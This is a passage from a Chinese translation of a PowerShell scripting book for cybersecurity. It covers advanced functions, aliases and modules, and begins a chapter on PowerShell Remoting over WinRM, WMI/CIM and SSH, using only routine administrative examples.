github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter02/Write-HelloWorld.ps1

参数

函数不一定需要支持参数,但如果你想在函数内处理输入,则需要参数:

function Invoke-Greeting {
    param (
        [string]$Name
    )
    Write-Output "Hello $Name!"
}

在这个例子中,Invoke-Greeting函数提供了传递$Name参数的可能性,同时指定数据类型为[string],这将尝试将任何输入转换为string,从而为参数输入提供灵活性。你也可以根据用例使用其他数据类型(例如,intboolean等)。

如果指定了参数,提供的值将存储在$Name变量中,并可以在函数内使用:

> Invoke-Greeting -Name "Miriam"
Hello Miriam!

如果未指定参数,它将被替换为$null(即""/):

> Invoke-Greeting
Hello !

在这种情况下,$Name参数不是必需的,因此在运行函数时不必指定它。

添加参数使你能够覆盖许多复杂的用例场景。你可能已经见过一些只允许某种类型输入或要求特定参数的函数——这些函数在用户确认之前不会执行,并且提供了以详细模式执行它们的可能性。

接下来,让我们探索如何在关于cmdletbindingSupportsShouldProcess、输入验证和必需参数的章节中配置这些行为。

cmdletbinding

cmdletbinding是 PowerShell 中的一个特性,允许你为函数和 cmdlet 添加公共参数(例如-Verbose-Debug-ErrorAction),而无需自己定义它们。这可以使你的代码与其他 PowerShell 命令保持一致,并且更易于用户使用。

使用cmdletbinding的一种方式是将参数声明为必需、位置参数或参数集,这可以自动将你的函数转变为带有额外公共参数的 cmdlet。例如,如果你想让-Name参数在你的函数中是必需的,可以在参数定义前添加[Parameter(Mandatory)],如下所示:

function Invoke-Greeting {
    [cmdletbinding()]
    param (
        [Parameter(Mandatory)]
        $Name
    )
    Write-Output "Hello $Name!"
}

这将自动将[<CommonParameters >]部分添加到Get-Command的输出中,你将看到许多其他 cmdlet 也可以使用的所有公共参数,如VerboseDebugErrorAction等。

要了解更多关于cmdletbinding及其功能的信息,请访问以下链接:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_functions_cmdletbindingattribute

SupportsShouldProcess

如果一个函数进行更改,你可以使用SupportsShouldProcess为你的函数增加一层额外的保护。通过添加[CmdletBinding(SupportsShouldProcess)],你可以在函数中启用-WhatIf-Confirm参数,这可以帮助用户在执行函数之前理解他们操作的影响。为了有效使用SupportsShouldProcess,你还需要为每个正在处理的项目调用ShouldProcess()。以下是你的代码可能的示例:

function Invoke-Greeting {
    [CmdletBinding(SupportsShouldProcess)]
    param (
        $Name
    )
    foreach ($item in $Name) {
        if ($PSCmdlet.ShouldProcess($item)) {
            Write-Output "Hello $item!"
        }
    }
}

使用这段代码,函数可以通过-Confirm参数执行,提示用户在处理每个项目之前确认,或者使用-WhatIf参数显示会做出的更改列表,而不实际处理这些项目。

> Get-Command -Name Invoke-Greeting -Syntax
Invoke-Greeting [[-Name] <Object>] [-WhatIf] [-Confirm] [<CommonParameters>]

一旦你在函数中添加了SupportsShouldProcess,你还可以看到语法已更改,使用Get-Command,如前面的示例所示。

通过管道接受输入

也可以配置参数来接受用户输入并在代码中使用它。除了接受用户输入外,我们还可以接受来自管道的输入。这可以通过两种方式完成:按值接受或按属性名称接受。

当按值接受输入时,我们接收通过管道传递的整个对象。然后,我们可以在函数中使用该参数来过滤或操作该对象。

当按属性名称接受输入时,我们仅接收通过管道传递的对象的指定属性。当我们只需要处理对象的特定属性时,这非常有用。

要配置一个函数按值接受输入,我们可以使用ValueFromPipeline;要按属性名称接受输入,则使用ValueFromPipelineByPropertyName。当然,这两者可以相互结合使用,也可以与其他参数选项结合使用,如Mandatory

以下示例展示了Invoke-Greeting函数,它既接受按值传递的输入,也接受按属性名称传递的输入,作为其必填的$****Name参数:

function Invoke-Greeting {
    [CmdletBinding()]
    param (
        [Parameter(Mandatory, ValueFromPipeline, ValueFromPipelineByPropertyName)]
        [string]$Name
    )
    process {
        Write-Output "Hello $Name!"
    }
}

你现在可以像下面的示例所示,将输入按值传递给该函数:

> "Alice","Bob" | Invoke-Greeting
Hello Alice!
Hello Bob!

但也可以按属性名称传递输入,正如下列代码片段所示:

> [pscustomobject]@{Name = "Miriam"} | Invoke-Greeting
Hello Miriam!

如果你想深入了解如何从管道接受输入以及如何排查问题,你可以参考以下资源:

)

由于本书专注于 PowerShell 安全,而非专家级函数创建,它几乎只能触及高级函数的皮毛。因此,如果你有兴趣深入了解高级函数和参数,我在本章末尾的进一步阅读部分中添加了一些链接。

基于评论的帮助

为你的函数编写基于评论的帮助至关重要;其他人可能会重用你的函数,或者如果你想在几个月后调整或重用自己编写的函数,拥有良好的评论帮助将简化使用:

<#
.SYNOPSIS
<Describe the function shortly.>
.DESCRIPTION
<More detailed description of the function.>
.PARAMETER Name
<Add a section to describe each parameter, if your function has one or more parameters.>
.EXAMPLE
<Example how to call the funtion>
<Describes what happens if the example call is run.>
#>

请查看 GitHub 上的Write-HelloWorld.ps1示例脚本以查看示例:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter02/Write-HelloWorld.ps1

错误处理

如果你不确定你的命令是否会成功,请使用trycatch

try {
    New-PSSession -ComputerName $Computer -ErrorAction Stop
}
catch {
    Write-Warning -Message "Couldn't connect to Computer: $Computer"
}

ErrorAction设置为Stop会将错误视为终止错误。因为只有终止错误会被捕获,所以会触发catch块中定义的操作。

如果ErrorAction未定义,并且没有触发终止错误,则catch块将被忽略。

cmdlet 和脚本 cmdlet(高级函数)之间的区别

当我第一次听到 cmdlet 和高级函数时,我想,“好吧,太好了, 但是它们有什么区别?它们听起来 差不多。”

一个显著的区别是,cmdlet 可以用像 C#这样的.NET 语言编写,并且存在于编译后的二进制文件中。脚本 cmdlet,也称为高级函数,类似于 cmdlet,但它们是用 PowerShell 脚本编写的,而不是用.NET 语言。脚本 cmdlet 是一种使用 PowerShell 脚本创建自定义 cmdlet 的方式,而不是编译.NET 语言代码。

脚本 cmdlet 的一个优势是它们可以轻松地修改和调试,而无需编译,这使得它们对于不熟悉.NET 语言的用户来说更加易于访问。此外,脚本 cmdlet 可以像编译后的 cmdlet 一样分发和共享。

对于软件供应商和开发人员来说,打包编译后的 cmdlet 比打包函数和脚本库以及编写和打包帮助文件要容易得多。

然而,这完全是个人偏好的问题——如果你更喜欢用 C# 或其他基于 .NET 的语言编写函数,cmdlet 可能是你更倾向的选择;如果你只喜欢使用 PowerShell,你可能会选择创建 PowerShell 函数。

别名

别名是一种 PowerShell 命令的昵称,或者说是备用名称。你可以设置别名来简化日常工作——例如,如果你反复使用相同的长而复杂的命令,设置一个别名并使用它会使你的日常工作更加轻松。

例如,最常用的别名之一是著名的 cd 命令,管理员用它来在命令行中更改目录。但 cd 只是 Set-Location cmdlet 的一个别名:

PS C:\> cd 'C:\tmp\PSSec\'
PS C:\tmp\PS Sec>
PS C:\> Set-Location 'C:\tmp\PSSec\'
PS C:\tmp\PS Sec>

若要查看所有名称中包含 Alias 字样的可用 cmdlet,可以使用 Get-Command

图 2.5 – 获取所有名称中包含 "Alias" 字样的可用 cmdlet

图 2.5 – 获取所有名称中包含 "Alias" 字样的可用 cmdlet

接下来,我们将深入了解如何使用 Get-AliasNew-AliasSet-AliasExport-AliasImport-Alias cmdlet 来处理别名。

Get-Alias

若要查看当前计算机上配置的所有别名,可以使用 Get-Alias cmdlet:

图 2.6 – Get-Alias 命令的输出

图 2.6 – Get-Alias 命令的输出

你可以使用 Get-Alias 来检查所有可用的别名列表,或者你可以使用 -Name 参数检查某个特定别名是否存在。

New-Alias

你可以使用 New-Alias 在当前 PowerShell 会话中创建一个新的别名:

> New-Alias -Name Get-Ip -Value ipconfig
> Get-Ip
Windows IP Configuration
Ethernet adapter Ethernet:
   Connection-specific DNS Suffix  . : mshome.net
   IPv4 Address. . . . . . . . . . . : 10.10.1.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.1.1

这个别名不是永久设置的,因此一旦退出会话,该别名将不再可用。

如果你想在多个会话中多次使用别名,你可以将其导出并在每个新会话中导入,或者你可以通过使用 PowerShell 配置文件将其配置为每个新 PowerShell 会话永久设置。

如果你想为别名执行的命令添加参数,你可以创建一个函数,并使用 New-Alias 将新函数与现有命令关联。

Set-Alias

Set-Alias 可用于创建或更改别名。

所以如果你想将之前创建的 Get-Ip 别名的内容更改为 Get-NetIPAddress,你可以运行以下命令:

> Set-Alias -Name Get-Ip -Value Get-NetIPAddress

Export-Alias

使用 Export-Alias 导出一个或多个别名——可以是 .csv 文件或脚本:

Export-Alias -Path "alias.csv"

使用此命令,我们首先将所有别名导出到 .csv 文件:

Export-Alias -Path "alias.ps1" -As Script

-As Script 参数允许你将所有当前可用的别名作为脚本执行:

Export-Alias -Path "alias.ps1" -Name Get-Ip -As Script

如果您计划稍后重新导入别名,请注意,如果执行脚本时没有重新导入该函数,可能会导致问题。因此,确保在新系统上也导入脚本,以便在该系统上导入别名。

当然,您也可以通过指定-Name参数,仅导出单个别名,如最后一个示例所示。

alias.csv

我们使用Export-Alias命令创建的alias.csv文件现在可以在另一个会话中重新使用,用来创建或导入该会话的所有别名:

# Alias File
# Exported by : PSSec
# Date/Time : Sunday, July 9, 2023 1:39:50 PM
# Computer : PSSEC-PC
"foreach","ForEach-Object","","ReadOnly, AllScope"
"%","ForEach-Object","","ReadOnly, AllScope"
"where","Where-Object","","ReadOnly, AllScope"
"?","Where-Object","","ReadOnly, AllScope"
"ac","Add-Content","","ReadOnly, AllScope"
"clc","Clear-Content","","ReadOnly, AllScope"
...
"stz","Set-TimeZone","","None"
"Get-Ip","Get-NetIPAddress","","None"

alias.ps1

如果您使用-As Script选项导出别名(如前面的示例所示),将会创建一个可执行的.ps1文件(alias.ps1)。

您现在可以使用该文件,在每次运行.ps1脚本时自动设置别名,或者使用代码编辑您的配置文件(请参见New-Alias)以配置永久别名:

# Alias File
# Exported by : PSSec
# Date/Time : Sunday, July 9, 2023 1:34:31 PM
# Computer : PSSEC-PC
set-alias -Name:"Get-Ip" -Value:"Get-NetIPAddress" -Description:"" -Option:"None"

如果您使用函数来定义别名,请确保同时保存这些函数,并在要导入别名的会话中执行它们。

导入别名

您可以使用Import-Alias导入作为.csv格式导出的别名:

> Set-Alias -Name Get-Ip -Value Get-Iponfig
> Export-Alias -Name Get-Ip -Path Get-Ip_alias.csv

导入文件以使别名在当前会话中可用:

> Import-Alias -Path .\Get-Ip_alias.csv
> Get-Ip
Windows IP Configuration
Ethernet adapter Ethernet:
   Connection-specific DNS Suffix  . : mshome.net
   IPv4 Address. . . . . . . . . . . : 10.10.1.10
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.10.1.1

更多关于别名的信息可以通过以下链接查看:docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_aliases

模块

模块是 PowerShell 命令和函数的集合,可以轻松地在其他系统上传输和安装。它们是为您的会话增加其他功能的好方法。

查找与模块相关的 cmdlet

要查找与模块相关的 cmdlet,请使用Get-Command并查看其帮助页面及官方文档,以了解其功能:

Get-Command -****Name "*Module*"

系统上安装的所有模块可以在PSModulePath文件夹中找到,这些文件夹是Env:\ PSDrive 的一部分:

> Get-Item -Path Env:\PSModulePath
Name           Value
----           -----
PSModulePath   C:\Users\PSSec\Documents\WindowsPowerShell\Modules;
               C:\Program Files\WindowsPowerShell\Modules;
               C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules

查询Env:\PSModulePath的内容,以找出系统上设置了哪些路径。

使用模块

为了高效使用模块,接下来的章节将帮助您使模块可用,了解如何与模块一起工作,并最终删除或卸载它。

查找并安装模块

要在仓库中查找特定模块,您可以使用Find-Module -Name <modulename>。它会查询配置在操作系统上的仓库:

> Find-Module -Name EventList
Version    Name       Repository           Description
-------    ----       ----------           -----------
2.0.1      EventList  PSGallery            EventList - The Event Analyzer. This tool helps you to decide which events to monitor in your infrastructure and support...

一旦找到所需的模块,您可以使用Install-Module将其下载并安装到本地系统:

> Install-Module <modulename>

如果您已经安装了一个模块,但有一个新版本可用,请使用Update-Module进行更新:

> Update-Module <modulename> -Force

要查看系统上有哪些仓库可用,请使用以下命令:

> Get-PSRepository

最常用的仓库之一是PowerShell Gallery(在前面的示例中显示为PSGallery)。

PowerShell 库

PowerShell Gallery 是 PowerShell 内容的中央仓库:www.powershellgallery.com/。在这个仓库中,你将找到成千上万的有用模块、脚本和 Desired State ConfigurationDSC)资源。

要利用 PowerShell Gallery 并直接从仓库安装模块,NuGetPowerShellGet 需要先安装。

如果你没有安装所需的软件包,当你第一次尝试从 PowerShell Gallery 安装模块时,系统会提示你安装它:

图 2.7 – 使用 Windows PowerShell 从 PowerShell Gallery 安装模块

图 2.7 – 使用 Windows PowerShell 从 PowerShell Gallery 安装模块

正如前面的截图所示,如果你第一次从 PowerShell Gallery 安装模块,不仅会提示你安装模块本身,还会提示你安装 NuGet 提供程序。

如果你使用的是 PowerShell Core,NuGetPowerShellGet 通常已经预安装:

图 2.8 – 使用 PowerShell Core 从 PowerShell Gallery 安装模块

图 2.8 – 使用 PowerShell Core 从 PowerShell Gallery 安装模块

将 PowerShell Gallery 配置为受信任的仓库

当你从 PowerShell Gallery 安装模块时,可能会收到仓库未受信任的警告。这个警告的目的是确保你意识到自己正在从未经过微软验证的外部源安装代码。该警告旨在保护你免受可能损害系统的恶意代码。

为了避免警告,你可以将仓库配置为受信任的仓库。这样做表示你信任该来源,并接受从该来源安装代码所可能带来的风险。要将仓库配置为受信任的仓库,可以使用以下代码片段:Set-PSRepository -Name 'PSGallery' -****InstallationPolicy Trusted

通过将仓库配置为受信任的仓库,你表示你信任该仓库提供的代码,并愿意承担使用该代码可能带来的风险。

使用模块

要查看当前会话中已经可用的模块,可以使用 Get-Module

> Get-Module

要查看哪些模块可以导入,包括那些预装在 Windows 中的模块,可以使用 Get-Module cmdlet 的 ListAvailable 参数。这将显示计算机上所有可用模块的列表,包括它们的版本号、描述和其他信息:

> Get-Module -ListAvailable

使用 Get-Command 查找可用的命令:

> Get-Command -Module <modulename>

如果你想了解模块中某个命令的用法,可以使用 Get-Help。你可以看到为你的函数编写适当的帮助页面是多么重要:

图 2.9 – 获取命令的帮助页面

图 2.9 – 获取命令的帮助页面

如果你在当前会话中加载了一个旧版本的模块,且希望卸载它,可以使用 Remove-Module 从会话中卸载当前模块:

> Remove-Module <modulename>

在开发和测试你自己的模块时,这个命令特别有用。

创建你自己的模块

为了使你的函数更容易迁移到其他系统,创建一个模块是一个不错的方法。由于完整模块的描述超出了本书的范围,我将简要描述如何快速入门。

请还参考 PowerShell 官方模块文档,以更好地理解模块是如何工作的以及如何创建模块:https://docs.microsoft.com/en-us/powershell/scripting/developer/module/writing-a-windows-powershell-module。

在更密集地使用 PowerShell 模块时,你可能会遇到许多不同的文件,例如以 .psm1.psd1.ps1xml.dll 结尾的文件、帮助文件、本地化文件以及其他许多文件。

我不会描述可以在模块中使用的所有文件,但我会描述最必要的文件——.psm1 文件和 .psd1 文件。

.psm1

.psm1 文件包含你的模块应提供的脚本逻辑。当然,你也可以用它来导入模块内的其他函数。

.psd1 – 模块清单

.psd1 文件是你模块的清单。如果你只创建了一个 PowerShell 脚本模块,则此文件不是必需的,但它允许你控制模块函数并包含有关模块的信息。

开发一个基本模块

创建一个基本的 PowerShell 模块可以像编写包含一个或多个函数的脚本一样简单,并将其保存为 .psm1 文件扩展名。

首先,我们在 $path 变量中定义模块应该保存的路径,并在 MyModule 文件夹不存在时创建该文件夹。然后,我们使用 New-ModuleManifest cmdlet 在 MyModule 文件夹中创建一个名为 MyModule.psd1 的新模块清单文件。-RootModule 参数指定 PowerShell 模块文件的名称,即 MyModule.psm1

使用 Set-Content cmdlet,我们创建 MyModule.psm1 文件并定义我们在本章早些时候编写的 Invoke-Greeting 函数:

$path = $env:TEMP + "\MyModule\"
if (!(Test-Path -Path $path)) {
    New-Item -ItemType directory -Path $path
}
New-ModuleManifest -Path $path\MyModule.psd1 -RootModule MyModule.psm1
Set-Content -Path $path\MyModule.psm1 -Value {
    function Invoke-Greeting {
        [CmdletBinding()]
        param(
            [Parameter(Mandatory=$true)]
            [string]$Name
        )
        "Hello, $Name!"
    }
}

当你想在 PowerShell 会话中使用某个模块时,你可以直接将其导入到会话中,或者将其复制到其中一个 PSModule 路径中。为了确保模块在将来可以方便地使用,建议将其复制到一个 PSModule 路径中。PSModule 路径是使用 Import-Module cmdlet 时,系统会搜索模块的目录。要查看 PSModule 路径,可以运行以下命令:

> $env:PSModulePath

一旦你确定了要使用的PSModule路径,就可以将模块目录复制到该位置。将模块复制到合适的PSModule路径后,你就可以使用Import-Module cmdlet 导入该模块:

> Import-Module MyModule

或者,在开发阶段,你可以直接将模块导入到你的会话中,而不需要将其复制到任何PSModule路径,使用Import-Module

> Import-Module $env:TEMP\MyModule\MyModule.psd1

通过将模块复制到PSModule路径,你可以轻松地将其导入到任何 PowerShell 会话中,而无需指定模块的完整路径。

现在,你可以调用在MyModule模块中定义的函数:

> Invoke-Greeting -Name "Miriam"

恭喜你,刚刚创建并执行了自己的第一个模块!

你可以将自己的模块与本章的示例模块进行对比: github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/tree/master/Chapter02/MyModule.

模块清单选项

仔细查看模块清单中可用的选项。例如,你还可以使用RequiredModules哈希表指定作者、描述,或者安装此模块所需的其他模块。

随着你对模块开发的熟悉并希望将代码提升到一个新层次,你可以探索如PSModuleDevelopment这样的工具,它可以帮助你进行开发任务,也可以帮助你进行后续的 CI/CD 任务:psframework.org/documentation/documents/psmoduledevelopment.html.

总结

本章中,你已经学习了 PowerShell 脚本编写的基础知识。在复习了变量、运算符和控制结构的基础后,你现在可以创建自己的脚本、函数和模块。

现在,你已经熟悉了 PowerShell 的基础,并能够在本地系统上使用 PowerShell,接下来我们将深入探讨 PowerShell 远程操作及其安全性考虑,敬请期待下一章。

进一步阅读

如果你想深入了解本章中提到的一些主题,可以参考以下资源:

)

)

)

)

)

)

)

)

你还可以在 GitHub 仓库中找到本章提到的所有链接:第二章 – 无需手动输入每个链接: github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter02/Links.md

第三章:探索 PowerShell 远程管理技术和 PowerShell 远程

作为 PowerShell 的主要用途之一是自动化管理任务,PowerShell 远程PSRemoting)在同时管理多台计算机时扮演着重要角色:只需一条命令,你就可以在数百台计算机上执行相同的命令行。

但与使用单独的计算机时类似,PSRemoting 的安全性取决于你的配置:如果你不锁好房门,窃贼是可以闯入的。

同样的情况也适用于计算机,以及 PSRemoting:如果你没有加固配置并使用不安全的设置,攻击者可以利用这些漏洞,将你的计算机反过来用作攻击工具。

在本章中,你不仅会学习 PSRemoting 的基础知识以及如何启用和配置它——你还会发现如何保持安全的 PSRemoting 配置的最佳实践。尽管 PSRemoting 本身是安全的,但你仍然可以采取一些措施,确保配置保持安全。我们将详细探讨这些措施,帮助你保持 PSRemoting 设置的安全。

我们还将看到 PSRemoting 网络流量的表现,取决于所使用的身份验证协议。最后,你将学习如何配置它,避免哪些配置,以及如何使用 PSRemoting 执行命令。

在本章中,你将学习以下主题:

  • 使用 PowerShell 远程工作

  • 启用 PowerShell 远程

  • PowerShell 端点(会话配置)

  • PowerShell 远程身份验证和安全性考虑

  • 使用 PowerShell 远程执行命令

  • 使用 PowerShell 远程工作

  • PowerShell 远程最佳实践

技术要求

本章的技术要求如下:

使用 PowerShell 远程工作

PowerShell 旨在自动化管理任务,并简化系统管理员的工作。远程管理从一开始就是这一计划的一部分,正如 Jeffrey Snover 在 2002 年的《Monad 宣言》中所概述的:www.jsnover.com/blog/2011/10/01/monad-manifesto/。然而,为了尽快发布版本 1.0,某些功能(包括 PSRemoting)未包含在内,直到后来的版本才加入。PSRemoting 在 2.0 版本中正式推出,并在 3.0 版本中得到了进一步改进。

它迅速成为最重要的核心功能之一,现在支持 PowerShell 中的许多其他功能,如工作流。

虽然 PSRemoting 可以与多种身份验证方法一起使用,但域身份验证的默认协议是 Kerberos。这是 Active Directory 环境中最安全且最常用的身份验证方法,而大多数使用 PSRemoting 的人很可能都在这种环境下操作。因此,当 Kerberos 不可用时,PSRemoting 会回退到 NTLM,以支持工作组身份验证。

Windows PowerShell 支持通过不同技术进行远程管理。默认情况下,PSRemoting 使用 Windows 远程管理(WinRM) 作为传输协议。然而,值得注意的是,WinRM 只是多种可用于支持 PowerShell 远程管理的协议之一。PSRemoting 本身是一个特定的协议(PSRP),它规定了 PowerShell 如何管理输入、输出、数据流、对象序列化等内容。PSRP 可以通过多种传输方式进行支持,包括 WS-Management(WS-Man)安全外壳(SSH)Hyper-V 虚拟机总线(VMBus) 等。虽然 Windows 管理工具(WMI)远程过程调用(RPC) 是可以与 PowerShell 一起使用的远程管理技术,但它们不被视为 PSRemoting 协议的一部分。

这些远程管理技术之间的区别也体现在所使用的协议上:

表 3.1 – 连接方法和使用的协议概述

表 3.1 – 连接方法和使用的协议概述

PSRemoting 仅在 Windows Server 2012 R2 及更高版本中启用,且默认情况下仅允许来自管理员组成员的连接。然而,PowerShell Core 支持多种远程管理协议,包括 WMI、Web 服务管理(WS-Management)和 SSH 远程管理。需要注意的是,PowerShell Core 不支持 RPC 连接。

使用 WinRM 进行 PowerShell 远程管理

DMTF(前身为 分布式管理工作组)是一个非盈利组织,定义了开放的可管理性标准,如通用信息模型(CIM),以及 WS-Management。

WS-Management 定义了一种基于 简单对象访问协议(SOAP) 的协议,可以用于管理服务器和 Web 服务。

微软的 WS-Management 实现是 WinRM

一旦您尝试建立 PSRemoting 连接,WinRM 客户端将在 HTTPHTTPS 上通过 WS-Management 协议发送 SOAP 消息。

当使用 WinRM 时,PSRemoting 监听以下端口:

  • HTTP**: **5985

  • HTTPS**: **5986

无论使用 HTTP 还是 HTTPS,PSRemoting 流量在身份验证过程后始终会被加密 —— 具体取决于用于身份验证的协议。您可以在 身份验证 部分阅读更多有关不同身份验证协议的信息。

在远程主机上,WinRM 服务运行并配置为有一个或多个监听器(HTTP 或 HTTPS)。每个监听器都会等待通过 WS-Management 协议发送的 HTTP/HTTPS 流量。

一旦接收到流量,WinRM 服务会判断流量是要发送到哪个 PowerShell 端点或应用程序,并转发它:

图 3.1 – 如何通过 PSRemoting 使用 WinRM 和 WS-Management 进行连接

图 3.1 – 如何通过 PSRemoting 使用 WinRM 和 WS-Management 进行连接

通常,这张图已被抽象化,以简化你对 WinRM 工作原理的理解。PowerShell.exe并没有被调用;相反,调用的是Wsmprovhost.exe进程,它运行 PSRemoting 连接。

由于 WinRM 和 WS-Management 是建立远程连接时的默认选项,本章将主要聚焦于这些技术。为了完整性,本节会简要介绍所有其他可能的远程技术。

如果你希望更深入了解 WinRM 和 WS-Management,我推荐访问以下资源:

Windows 管理工具(WMI)和通用信息模型(CIM)

WMI是微软实现的 CIM(由 DMTF 设计的开放标准)。

WMI 是在 Windows NT 4.0 中引入的,并从 Windows 2000 开始被包括在 Windows 操作系统中。它仍然存在于所有现代系统中,包括 Windows 10 和 Windows Server 2019。

CIM 定义了 IT 系统元素如何表示为对象以及它们之间的关系。这为管理 IT 系统提供了一种很好的方式,不论制造商或平台如何。

WMI 依赖于分布式组件对象模型DCOM)和 RPC,后者是 DCOM 背后的基础机制,用于进行通信。

DCOM 是为使组件对象模型COM)能够在网络上进行通信而创建的,它是.NET Remoting 的前身。

本节将简要概述 WMI 和 CIM 的 cmdlet,帮助你理解本章中的远程管理技术。你将会在第五章中学到更多关于 COM、WMI 和 CIM 的内容,PowerShell 强大 – 系统与 API 访问

WMI cmdlet

从 PowerShell Core 6 开始,WMI cmdlet 被弃用,不应在 PowerShell 的新版本中使用。然而,值得注意的是,它们仍然在某些较旧版本的 PowerShell 中得到支持,例如 Windows 10 上的 PowerShell 5.1,并将在这些操作系统的支持生命周期内继续受到支持。如果可能,请改用较新的 CIM cmdlet,因为它们可以在 Windows 和非 Windows 操作系统上使用。

首先,让我们看看如何使用已经弃用,但仍然存在的 WMI cmdlet。

要查找所有名称中包含wmi字符串的 cmdlet 和函数,可以使用Get-Command cmdlet。通过使用-CommandType参数,可以指定要查找的命令类型。在此示例中,我正在搜索 cmdlet 和函数:

> Get-Command -Name *wmi* -CommandType Cmdlet,Function
CommandType  Name               Version    Source
-----------  ----               -------    ------
Cmdlet       Get-WmiObject      3.1.0.0    Microsoft.PowerShell.Management
Cmdlet       Invoke-WmiMethod   3.1.0.0    Microsoft.PowerShell.Management
Cmdlet       Register-WmiEvent  3.1.0.0    Microsoft.PowerShell.Management
Cmdlet       Remove-WmiObject   3.1.0.0    Microsoft.PowerShell.Management
Cmdlet       Set-WmiInstance    3.1.0.0    Microsoft.PowerShell.Management

一个使用 WMI 的示例是通过Get-WmiObject cmdlet。使用这个 cmdlet,你可以查询本地和远程计算机。

你可以使用-List参数来检索计算机上所有可用的 WMI 类:

> Get-WmiObject -List
   NameSpace: ROOT\cimv2
Name                  Methods Properties
----                  ------- ----------
CIM_Indication        {}      {CorrelatedIndications, IndicationFilterName, IndicationIde...
CIM_ClassIndication   {}      {ClassDefinition, CorrelatedIndications, IndicationFilterNa...
CIM_ClassDeletion     {}      {ClassDefinition, CorrelatedIndications, IndicationFilterNa...
...

这是一个使用Get-WmiObject来检索本地计算机上 Windows 服务信息的示例:

> Get-WmiObject -Class Win32_Service
ExitCode  : 0
Name      : AdobeARMservice
ProcessId : 3556
StartMode : Auto
State     : Running
Status    : OK
…

你不仅可以查询本地计算机,还可以通过使用-ComputerName参数来查询远程计算机,后跟远程计算机的名称。以下示例展示了如何从PSSec-PC02远程计算机获取相同的信息:

> Get-WmiObject -Class Win32_Service -ComputerName PSSec-PC02

上述代码返回了远程计算机上所有可用服务的列表。

通过使用-Query参数,你甚至可以指定要针对指定计算机的 CIM 数据库执行的查询。以下命令仅检索所有名称为WinRM的服务:

> Get-WmiObject -ComputerName PSSec-PC02 -Query "select * from win32_service where name='WinRM'"
ExitCode  : 0
Name      : WinRM
ProcessId : 6408
StartMode : Auto
State     : Running
Status    : OK

在此示例中,我们在PSSec-PC02远程计算机上运行了指定的select * from win32_service where name='WinRM'查询。

使用 PowerShell WMI cmdlet,你还可以调用 WMI 方法,删除对象,以及更多操作。

你知道吗?

RPC,WMI 所依赖的技术,在 PowerShell Core 6 中不再受到支持。这部分原因是 PowerShell 追求跨平台兼容性:从 PowerShell 7 版本及以上,RPC 仅在运行 Windows 操作系统的机器上受到支持。

CIM cmdlet

使用 PowerShell 3.0(随 Windows Server 2012 和 Windows 8 一起发布),引入了一套新的 cmdlet,用于管理符合 CIM 和 WS-Man 标准的对象。

一度,WMI cmdlet 偏离了 DMTF 标准,这阻止了跨平台管理。因此,微软通过发布新的 CIM cmdlet,重新遵循 DMTF CIM 标准。

要查找所有与 CIM 相关的 cmdlet,可以使用Get-Command cmdlet:

> Get-Command -Name "*cim*" -CommandType Cmdlet,Function
CommandType     Name                        Version    Source
-----------     ----                        -------    ------
Cmdlet          Get-CimAssociatedInstance   1.0.0.0    CimCmdlets
Cmdlet          Get-CimClass                1.0.0.0    CimCmdlets
Cmdlet          Get-CimInstance             1.0.0.0    CimCmdlets
Cmdlet          Get-CimSession              1.0.0.0    CimCmdlets
Cmdlet          Invoke-CimMethod            1.0.0.0    CimCmdlets
Cmdlet          New-CimInstance             1.0.0.0    CimCmdlets
Cmdlet          New-CimSession              1.0.0.0    CimCmdlets
Cmdlet          New-CimSessionOption        1.0.0.0    CimCmdlets
Cmdlet          Register-CimIndicationEvent 1.0.0.0    CimCmdlets
Cmdlet          Remove-CimInstance          1.0.0.0    CimCmdlets
Cmdlet          Remove-CimSession           1.0.0.0    CimCmdlets
Cmdlet          Set-CimInstance             1.0.0.0    CimCmdlets

在此示例中,我们正在寻找名称中包含cim的所有 cmdlet 和函数。

您可以在docs.microsoft.com/de-de/powershell/module/cimcmdlets/找到与 CIM 服务器交互的所有当前可用 CIM cmdlet 的概述。

开放管理基础设施(OMI)

为了帮助实现跨平台管理方法,微软于 2012 年创建了开放管理基础设施OMI)(https://github.com/Microsoft/omi),但它从未真正流行起来,也不再广泛使用。因此,微软决定增加对 SSH 远程管理的支持。

使用 SSH 进行 PowerShell 远程管理

为了在 Windows 和 Linux 主机之间启用 PSRemoting,微软在 PowerShell 6 中添加了对通过 SSH 进行 PSRemoting 的支持。

通过 SSH 进行 PSRemoting 的要求

要使用通过 SSH 的 PSRemoting,需要在所有计算机上安装PowerShell 版本 6 或更高版本SSH。从 Windows 10 版本 1809 和 Windows Server 2019 开始,OpenSSH for Windows 已集成到 Windows 操作系统中。

Linux 上的 PowerShell 远程管理

首先,要在 Linux 上使用 PowerShell,请按照您的操作系统的步骤安装 PowerShell Core,您可以在官方 PowerShell Core 文档中找到:docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux

在我的演示实验室中,我安装了 Debian 10 服务器。因此,步骤可能会有所不同,具体取决于所使用的操作系统。

使用您选择的编辑器配置/etc/ssh/sshd_config。在我的示例中,我使用vi

> vi /etc/ssh/sshd_config

首先,在配置中添加一个 PowerShell 子系统条目:

Subsystem powershell /usr/bin/pwsh -sshs -NoLogo

在 Linux 系统中,默认情况下,PowerShell 可执行文件通常位于/usr/bin/pwsh。请确保如果您在不同位置安装了 PowerShell,则调整此部分。

为了允许用户远程使用 SSH 登录,请配置PasswordAuthentication和/或PubkeyAuthentication

  • 如果您想允许使用用户名和密码进行身份验证,请将PasswordAuthentication设置为yes

    PasswordAuthentication yes
    
  • 如果您想启用更安全的方法,请将PubkeyAuthentication设置为yes

    PubkeyAuthentication yes
    

PubkeyAuthentication,代表公钥身份验证,是一种依赖于生成的密钥对的身份验证方法:生成一个私钥和一个公钥。而私钥被安全地保存在用户的计算机上,公钥则输入到远程服务器上。

